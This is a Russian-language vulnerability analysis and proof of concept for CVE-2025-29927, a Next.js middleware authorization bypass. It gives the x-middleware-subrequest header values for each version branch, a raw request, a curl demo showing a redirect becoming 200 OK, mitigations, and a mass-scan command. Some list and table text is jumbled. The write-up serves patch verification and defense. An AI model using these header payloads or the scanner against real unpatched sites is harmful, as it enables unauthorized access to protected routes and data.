
Углубленный анализ и PoC для CVE-2025-29927, обход авторизации промежуточного слоя Next.js через заголовок x-middleware-subrequest. Включает шаблоны Nuclei и скрипт массового сканирования для тестирования.
В данном документе представлено исследование уязвимости CVE-2025-29927, затрагивающей механизм Middleware во фреймворке Next.js.
Next.js — популярный open-source фреймворк от Vercel для разработки приложений на базе React. Он поддерживает серверный рендеринг, статическую генерацию и гибкую систему промежуточного ПО (middleware), применяемую для маршрутизации, перенаправлений, заголовков безопасности и проверки прав доступа.
В марте 2025 года была выявлена критическая уязвимость CVE-2025-29927, связанная с обработкой служебного заголовка внутренних подзапросов.
Суть проблемы — возможность обойти авторизационные проверки в приложениях, где контроль доступа реализован именно в middleware, путём подстановки особого значения в HTTP-заголовок x-middleware-subrequest. Если безопасность завязана только на middleware, злоумышленник может получить доступ к закрытым маршрутам или данным.
Затронутые версии Next.js и исправления (по публичным источникам и официальным материалам):
Исправления доступны в релизах 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
Next.js широко применяется в продакшне; уязвимость, задевающая слой middleware (часто используемый для аутентификации/авторизации и политики безопасности), несёт высокий практический риск.
Пошагово разобрать уязвимость и оформить полный цикл исследования:
Сбор и структурирование материалов.
Систематизировать публичные источники по CVE-2025-29927; изложить суть дефекта, условия срабатывания и подтверждённые версии/патчи.
Определение CPE и условий конфигурации.
Привести список CPE/версий и описать конфигурации, при которых уязвимость воспроизводится (например, self-hosted деплой и авторизация на уровне middleware).
Безопасная демонстрация.
Подготовить воспроизводимое демо на тестовой среде (без деструктивных действий), подтверждающее факт обхода middleware в уязвимых версиях.
Методики массовой проверки.
Описать и реализовать три безопасных подхода:

Первопричина. В Next.js служебный заголовок x-middleware-subrequest используется для отслеживания внутренних подзапросов и предотвращения рекурсии в middleware. В уязвимых ветках внешние клиенты могут подставить этот заголовок с «ожидаемым» значением — и рантайм пропускает выполнение middleware, передавая запрос напрямую обработчику маршрута.
Роль заголовка. Сам заголовок x-middleware-subrequest изначально задумывался как внутренний индикатор того, что текущий HTTP-запрос запущен самим фреймворком как промежуточный подзапрос, а не пришёл напрямую от пользователя.
Он нужен для корректной работы внутренних механизмов Next.js: помимо маршрутизации, этот флаг помогает избежать бесконечной рекурсии, «отмечая» каждый вызванный промежуточный слой.
Но именно эта логика породила непреднамеренную дыру в защите: клиент, самостоятельно добавивший такой заголовок, может заставить систему трактовать свой запрос как внутренний и тем самым миновать авторизационные проверки.
Эволюция логики.
Актуальные записи NVD указывают на продукт Vercel Next.js с целевым ПО node.js. Для уязвимых веток применяются следующие конфигурации (диапазоны версий заданы на уровне CPE-конфигураций в NVD):
| CPE URI | Уязвимый диапазон версий |
|---|---|
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 11.1.4 ≤ v < 12.3.5 |
Примечание: в описании CVE также указывается, что в целом «начиная с 11.1.4 и до 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3» уязвимость воспроизводится при выполнении условий ниже.
next start, сборка с output: 'standalone') или любая среда, где middleware исполняется на входящих запросах без периметровой фильтрации служебных заголовков.x-middleware-subrequest (например, правила WAF).x-middleware-subrequestЧтобы исключить бесконечную рекурсию промежуточного кода, рантайм формирует и читает служебный заголовок:
: — получается массив «подзапросов».NextResponse.next()),x-middleware-subrequest-id), связанный с текущей сессией процесса; если он не совпадает, входящий x-middleware-subrequest очищается на серверной стороне.Злоумышленник посылает HTTP-запрос в целевое Next.js-приложение, добавляя в него служебный заголовок x-middleware-subrequest.
В значении указывается путь до файла middleware — например pages/_middleware, middleware или src/middleware.
Нужное значение зависит от используемой версии Next.js и от структуры проекта.
Когда такой запрос достигает приложения, внутренняя логика фреймворка воспринимает его как внутренний подзапрос и предполагает, что промежуточный слой уже был выполнен.
В результате проверки аутентификации и авторизации, которые обычно происходят в middleware, фактически пропускаются.
Важно: данный материал приведён исключительно для проверки патча и моделирования риска в закрытой тестовой среде.
Любые проверки в продуктивной инфраструктуре возможны только с разрешения владельца ресурсов.
Next.js использует служебный заголовок x-middleware-subrequest, чтобы отмечать внутренние подзапросы и предотвращать рекурсивный запуск middleware.
При обработке запроса значение заголовка разбивается по символу : и сравнивается с именем текущего middleware.
В новых версиях добавлен лимит глубины (MAX_RECURSION_DEPTH, обычно 5).
Если условие (совпадение имени или достижение лимита) выполняется, Next.js пропускает middleware и передаёт запрос дальше.
Атакующий может сформировать корректное значение заголовка, имитируя внутренний подзапрос.
_middleware.*_middleware.js/ts и располагались в каталоге pages/.x-middleware-subrequest: pages/_middlewaremiddleware.*middleware.js/ts./src.x-middleware-subrequest: middleware или x-middleware-subrequest: src/middleware:, и если количество повторов имени middleware ≥ 5,NextResponse.next().x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware или x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middlewareВ релизах 15.x разработчики переработали логику, чтобы предотвратить бесконечные рекурсивные вызовы.
Когда в пути срабатывает middleware (например, /api/*), Next.js получает другой URL, который тоже инициирует то же middleware.
Фреймворк считает количество срабатываний через заголовок x-middleware-subrequest.
Если число вызовов достигает установленного порога (MAX_RECURSION_DEPTH, по умолчанию 5), дальнейшие вызовы middleware блокируются.
Злоумышленник может воспользоваться этим поведением, заранее указав в заголовке значение с нужным количеством повторов и тем самым искусственно достичь лимита глубины — в результате middleware будет полностью пропущен.
для старых веток значение заголовка выбирается согласно приведённым выше вариантам
GET /admin/dashboard HTTP/1.1
Host: <TEST-HOST>
User-Agent: <YOUR-LAB-CLIENT>
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest задумывался как внутренний механизм защиты от бесконечной рекурсии.
Но в уязвимых версиях отсутствовала фильтрация внешних запросов: клиент мог подделать заголовок,
выполнить условие пропуска (совпадение имени или достижение лимита глубины)
и напрямую обратиться к обработчику защищённого маршрута.
git clone https://github.com/iteride/CVE-2025-29927.git
cd CVE-2025-29927/nextjs/
npm install
npm run dev
Тестирование:
(пример основан на Next.js 15.2.2; для других веток значение заголовка выбирайте по таблице в разделе PoC)
curl -I http://localhost:3000
HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 22 Sep 2025 16:36:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1758558988609>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Sep 2025 16:36:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5
x-middleware-subrequest на уровне WAF/прокси.X-Middleware-Subrequest.
⚠️ Внимание: шаблон предназначен только для тестирования на собственных или разрешённых целях. Использование на сторонних сервисах без согласия владельцев незаконно.
python3 scan.py --targets-file TARGETS_FILE --paths-file PATHS_FILE --threads THREADS
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 13.0.0 ≤ v < 13.5.9 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 14.0.0 ≤ v < 14.2.25 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 15.0.0 ≤ v < 15.2.3 |